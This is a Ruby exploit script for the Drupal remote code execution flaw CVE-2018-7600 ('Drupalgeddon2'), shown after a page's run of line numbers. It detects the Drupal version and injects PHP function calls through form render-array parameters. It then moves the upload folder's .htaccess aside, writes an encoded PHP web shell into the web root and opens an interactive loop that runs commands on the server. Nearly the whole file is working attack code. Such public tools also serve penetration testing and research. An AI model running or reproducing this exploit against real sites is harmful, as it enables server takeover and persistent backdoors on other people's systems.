1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 |
#!/usr/bin/env ruby # # [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/ # # Authors: # - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked # - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k # require 'base64' require 'json' require 'net/http' require 'openssl' require 'readline' require 'highline/import' # Settings - Try to write a PHP to the web root? try_phpshell = true # Settings - General/Stealth $useragent = "drupalgeddon2" webshell = "shell.php" # Settings - Proxy information (nil to disable) $proxy_addr = nil $proxy_port = 8080 # Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!) bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }" bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d" # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Function http_request <url> [type] [data] def http_request(url, type="get", payload="", cookie="") puts verbose("HTTP - URL : #{url}") if $verbose puts verbose("HTTP - Type: #{type}") if $verbose puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose begin uri = URI(url) request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri) request.initialize_http_header({"User-Agent" => $useragent}) request.initialize_http_header("Cookie" => cookie) if not cookie.empty? request.body = payload if not payload.empty? return $http.request(request) rescue SocketError puts error("Network connectivity issue") rescue Errno::ECONNREFUSED => e puts error("The target is down ~ #{e.message}") puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr rescue Timeout::Error => e puts error("The target timed out ~ #{e.message}") end # If we got here, something went wrong. exit end # Function gen_evil_url <cmd> [method] [shell] [phpfunction] def gen_evil_url(evil, element="", shell=false, phpfunction="passthru") puts info("Payload: #{evil}") if not shell puts verbose("Element: #{element}") if not shell and not element.empty? and $verbose puts verbose("PHP fn : #{phpfunction}") if not shell and $verbose # Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render # Check the version to match the payload if $drupalverion.start_with?("8") and element == "mail" # Method #1 - Drupal v8.x: mail, #post_render - HTTP 200 url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil elsif $drupalverion.start_with?("8") and element == "timezone" # Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax" payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil #puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru" elsif $drupalverion.start_with?("7") and element == "name" # Method #3 - Drupal v7.x: name, #post_render - HTTP 200 url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil payload = "form_id=user_pass&_triggering_element_name=name" end # Drupal v7.x needs an extra value from a form if $drupalverion.start_with?("7") response = http_request(url, "post", payload, $session_cookie) form_name = "form_build_id" puts verbose("Form name: #{form_name}") if $verbose form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty? puts verbose("Form value : #{form_value}") if $verbose url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value payload = "#{form_name}=#{form_value}" end return url, payload end # Function clean_result <input> def clean_result(input) #result = JSON.pretty_generate(JSON[response.body]) #result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean clean = input.to_s.strip # PHP function: passthru # For: <payload>[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] clean.slice!(/\[{"command":".*}\]$/) # PHP function: exec # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"<payload>\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] #clean.slice!(/\[{"command":".*data":"/) #clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/) # Newer PHP for an older Drupal # For: <b>Deprecated</b>:assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br /> #clean.slice!(/<b>.*<br \/>/) # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500 # For: <b>Deprecated</b>:assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br /> clean.slice!(/The website encountered an unexpected error.*/) return clean end # Feedback when something goes right def success(text) # Green return "\e[#{32}m[+]\e[0m #{text}" end # Feedback when something goes wrong def error(text) # Red return "\e[#{31}m[-]\e[0m #{text}" end # Feedback when something may have issues def warning(text) # Yellow return "\e[#{33}m[!]\e[0m #{text}" end # Feedback when something doing something def action(text) # Blue return "\e[#{34}m[*]\e[0m #{text}" end # Feedback with helpful information def info(text) # Light blue return "\e[#{94}m[i]\e[0m #{text}" end # Feedback for the overkill def verbose(text) # Dark grey return "\e[#{90}m[v]\e[0m #{text}" end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - def init_authentication() $uname = ask('Enter your username:') { |q| q.echo = false } $passwd = ask('Enter your password:') { |q| q.echo = false } $uname_field = ask('Enter the name of the username form field:') { |q| q.echo = true } $passwd_field = ask('Enter the name of the password form field:') { |q| q.echo = true } $login_path = ask('Enter your login path (e.g., user/login):') { |q| q.echo = true } $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...):') { |q| q.echo = true } end def is_arg(args, param) args.each do |arg| if arg == param return true end end return false end # Quick how to use def usage() puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]' puts 'Example for target that does not require authentication:' puts ' ruby drupalgeddon2.rb https://example.com' puts 'Example for target that does require authentication:' puts ' ruby drupalgeddon2.rb https://example.com --authentication' end # Read in values if ARGV.empty? usage() exit end $target = ARGV[0] init_authentication() if is_arg(ARGV, '--authentication') $verbose = is_arg(ARGV, '--verbose') # Check input for protocol $target = "http://#{$target}" if not $target.start_with?("http") # Check input for the end $target += "/" if not $target.end_with?("/") # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Banner puts action("--==[::#Drupalggedon2::]==--") puts "-"*80 puts info("Target : #{$target}") puts info("Proxy: #{$proxy_addr}:#{$proxy_port}") if $proxy_addr puts info("Write? : Skipping writing PHP web shell") if not try_phpshell puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Setup connection uri = URI($target) $http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port) # Use SSL/TLS if needed if uri.scheme == "https" $http.use_ssl = true $http.verify_mode = OpenSSL::SSL::VERIFY_NONE end $session_cookie = '' # If authentication required then login and get session cookie if $uname $payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix response = http_request($target + $login_path, 'post', $payload, $session_cookie) if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie'] $session_cookie = response['set-cookie'].split('; ')[0] puts success("Logged in - Session Cookie : #{$session_cookie}") end end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Try and get version $drupalverion = "" # Possible URLs url = [ # --- changelog --- # Drupal v6.x / v7.x [200] $target + "CHANGELOG.txt", # Drupal v8.x [200] $target + "core/CHANGELOG.txt", # --- bootstrap --- # Drupal v7.x / v6.x [403] $target + "includes/bootstrap.inc", # Drupal v8.x [403] $target + "core/includes/bootstrap.inc", # --- database --- # Drupal v7.x / v6.x[403] $target + "includes/database.inc", # Drupal v7.x [403] #$target + "includes/database/database.inc", # Drupal v8.x [403] #$target + "core/includes/database.inc", # --- landing page --- # Drupal v8.x / v7.x [200] $target, ] # Check all url.each do|uri| # Check response response = http_request(uri, 'get', '', $session_cookie) # Check header if response['X-Generator'] and $drupalverion.empty? header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip if not header.empty? $drupalverion = "#{header}.x" if $drupalverion.empty? puts success("Header : v#{header} [X-Generator]") puts verbose("X-Generator: #{response['X-Generator']}") if $verbose end end # Check request response, valid if response.code == "200" tmp = $verbose ?"[HTTP Size: #{response.size}]": "" puts success("Found: #{uri}(HTTP Response: #{response.code})#{tmp}") # Check to see if it says: The requested URL "http://<URL>" was not found on this server. puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server" # Check to see if it says: <h1 class="js-quickedit-page-title title page-title">Page not found</h1> <div class="content">The requested page could not be found.</div> puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found" # Only works for CHANGELOG.txt if uri.match(/CHANGELOG.txt/) # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org" # Patched already? (For Drupal v8.4.x / v7.x) puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002" # Try and get version from the file contents (For Drupal v8.4.x / v7.x) $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip # Blank if not valid $drupalverion = "" if not $drupalverion[-1] =~ /\d/ end # Check meta tag if not response.body.empty? # For Drupal v8.x / v7.x meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /) metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip if not metatag.empty? $drupalverion = "#{metatag}.x" if $drupalverion.empty? puts success("Metatag: v#{$drupalverion} [Generator]") puts verbose(meta.to_s) if $verbose end end # Done! ...if a full known version, else keep going... may get lucky later! break if not $drupalverion.end_with?("x") and not $drupalverion.empty? end # Check request response, not allowed if response.code == "403" and $drupalverion.empty? tmp = $verbose ?"[HTTP Size: #{response.size}]": "" puts success("Found: #{uri}(HTTP Response: #{response.code})#{tmp}") if $drupalverion.empty? # Try and get version from the URL (For Drupal v.7.x/v6.x) $drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty? # Try and get version from the URL (For Drupal v8.x) $drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty? # If we got something, show it! puts success("URL: v#{$drupalverion}?") if not $drupalverion.empty? end else tmp = $verbose ?"[HTTP Size: #{response.size}]": "" puts warning("MISSING: #{uri}(HTTP Response: #{response.code})#{tmp}") end end # Feedback if not $drupalverion.empty? status = $drupalverion.end_with?("x")? "?" : "!" puts success("Drupal#{status}: v#{$drupalverion}") else puts error("Didn't detect Drupal version") exit end if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7") puts error("Unsupported Drupal version (#{$drupalverion})") exit end puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # The attack vector to use $form = $drupalverion.start_with?("8")? "user/register" : "user/password" # Make a request, check for form url = "#{$target}?q=#{$form}" puts action("Testing: Form (#{$form})") response = http_request(url, 'get', '', $session_cookie) if response.code == "200" and not response.body.empty? puts success("Result : Form valid") elsif response['location'] puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})... Could try following the redirect: #{response['location']}") exit elsif response.code == "404" puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})... Form disabled?") exit elsif response.code == "403" puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})... Form blocked?") exit elsif response.body.empty? puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response") exit else puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})") end puts "- "*40 # Make a request, check for clean URLs status ~ Enabled: /user/register Disabled: /?q=user/register # Drupal v7.x needs it anyway $clean_url = $drupalverion.start_with?("8")? "" : "?q=" url = "#{$target}#{$form}" puts action("Testing: Clean URLs") response = http_request(url, 'get', '', $session_cookie) if response.code == "200" and not response.body.empty? puts success("Result : Clean URLs enabled") else $clean_url = "?q=" puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})") puts verbose("response.body: #{response.body}") if $verbose # Drupal v8.x needs it to be enabled if $drupalverion.start_with?("8") puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE") exit elsif $drupalverion.start_with?("7") puts info("Isn't an issue for Drupal v7.x") end end puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Values in gen_evil_url for Drupal v8.x elementsv8 = [ "mail", "timezone", ] # Values in gen_evil_url for Drupal v7.x elementsv7 = [ "name", ] elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7 elements.each do|e| $element = e # Make a request, testing code execution puts action("Testing: Code Execution (Method: #{$element})") # Generate a random string to see if we can echo it random = (0...8).map { (65 + rand(26)).chr }.join url, payload = gen_evil_url("echo #{random}", e) response = http_request(url, "post", payload, $session_cookie) if (response.code == "200" or response.code == "500") and not response.body.empty? result = clean_result(response.body) if not result.empty? puts success("Result : #{result}") if response.body.match(/#{random}/) puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!") break else puts warning("WARNING: Target MIGHT be exploitable [4]... Detected output, but didn't MATCH expected result") end else puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})... Didn't detect any INJECTED output (disabled PHP function?)") end puts warning("WARNING: Target MIGHT be exploitable [5]... Blind attack?") if response.code == "500" puts verbose("response.body: #{response.body}") if $verbose puts verbose("clean_result: #{result}") if not result.empty? and $verbose elsif response.body.empty? puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response") exit else puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})") puts verbose("response.body: #{response.body}") if $verbose exit end puts "- "*40 if e != elements.last end puts "-"*80 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # Location of web shell & used to signal if using PHP shell webshellpath = "" prompt = "drupalgeddon2" # Possibles paths to try paths = [ # Web root "", # Required for setup "sites/default/", "sites/default/files/", # They did something "wrong", chmod -R 0777 . #"core/", ] # Check all (if doing web shell) paths.each do|path| # Check to see if there is already a file there puts action("Testing: Existing file (#{$target}#{path}#{webshell})") response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie) if response.code == "200" puts warning("Response: HTTP #{response.code} // Size: #{response.size}. ***Something could already be there?***") else puts info("Response: HTTP #{response.code} // Size: #{response.size}") end puts "- "*40 # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - folder = path.empty? ? "./" : path puts action("Testing: Writing To Web Root (#{folder})") # Merge locations webshellpath = "#{path}#{webshell}" # Final command to execute cmd = "#{bashcmd} | tee #{webshellpath}" # By default, Drupal v7.x disables the PHP engine using: ./sites/default/files/.htaccess # ...however, Drupal v8.x disables the PHP engine using: ./.htaccess if path == "sites/default/files/" puts action("Moving : ./sites/default/files/.htaccess") cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}" end # Generate evil URLs url, payload = gen_evil_url(cmd, $element) # Make the request response = http_request(url, "post", payload, $session_cookie) # Check result if response.code == "200" and not response.body.empty? # Feedback result = clean_result(response.body) puts success("Result : #{result}") if not result.empty? # Test to see if backdoor is there (if we managed to write it) response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie) if response.code == "200" and not response.body.empty? puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!") break elsif response.code == "404" puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})... Might not have write access?") elsif response.code == "403" puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?") elsif response.body.empty? puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})... Got an empty response back") else puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})") puts verbose("response.body: #{response.body}") if $verbose end elsif response.code == "500" and not response.body.empty? puts warning("Target MAY of been exploited... Bit of blind leading the blind") break elsif response.code == "404" puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})... Might not have write access?") elsif response.code == "403" puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?") elsif response.body.empty? puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))... Got an empty response back") else puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})") puts verbose("response.body: #{response.body}") if $verbose end webshellpath = "" puts "- "*40 if path != paths.last end if try_phpshell # If a web path was set, we exploited using PHP! if not webshellpath.empty? # Get hostname for the prompt prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty? puts "-"*80 puts info("Fake PHP shell: curl '#{$target}#{webshellpath}' -d 'c=hostname'") # Should we be trying to call commands via PHP? elsif try_phpshell puts warning("FAILED : Couldn't find a writeable web path") puts "-"*80 puts action("Dropping back to direct OS commands") end # Stop any CTRL + C action ;) trap("INT", "SIG_IGN") # Forever loop loop do # Default value result = "~ERROR~" # Get input command = Readline.readline("#{prompt}>> ", true).to_s # Check input puts warning("WARNING: Detected an known bad character (>)") if command =~ />/ # Exit break if command == "exit" # Blank link? next if command.empty? # If PHP web shell if not webshellpath.empty? # Send request result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body # Direct OS commands else url, payload = gen_evil_url(command, $element, true) response = http_request(url, "post", payload, $session_cookie) # Check result if not response.body.empty? result = clean_result(response.body) end end # Feedback puts result end |